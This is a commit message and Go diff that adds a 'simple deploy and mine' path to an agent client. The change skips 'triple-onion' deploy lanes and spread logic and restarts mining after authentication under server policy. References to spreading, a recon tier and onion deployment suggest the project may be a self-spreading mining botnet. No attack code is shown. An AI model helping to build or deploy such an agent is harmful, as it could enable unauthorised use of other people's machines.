Add simple Deploy and Mine path for operators without spread complexity.

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.

agent/client/triple_onion_chain.go

@@ -26,6 +26,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
 	if err := json.Unmarshal(raw, &p); err != nil {
 		return
 	}
+	if p.SimpleDeploy {
+		p = miner.SimpleDeployTripleOnionPolicy()
+	}
 	c.mu.Lock()
 	c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
 	c.triplePolicyLoaded = true
@@ -34,6 +37,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
 
 func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
 	c := r.client
+	if c.cfg.SimpleDeploy || c.tripleOnionPolicy().SimpleDeploy {
+		return nil
+	}
 	policy := c.tripleOnionPolicy()
 	return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
 		RunReconTier:  r.runReconTier,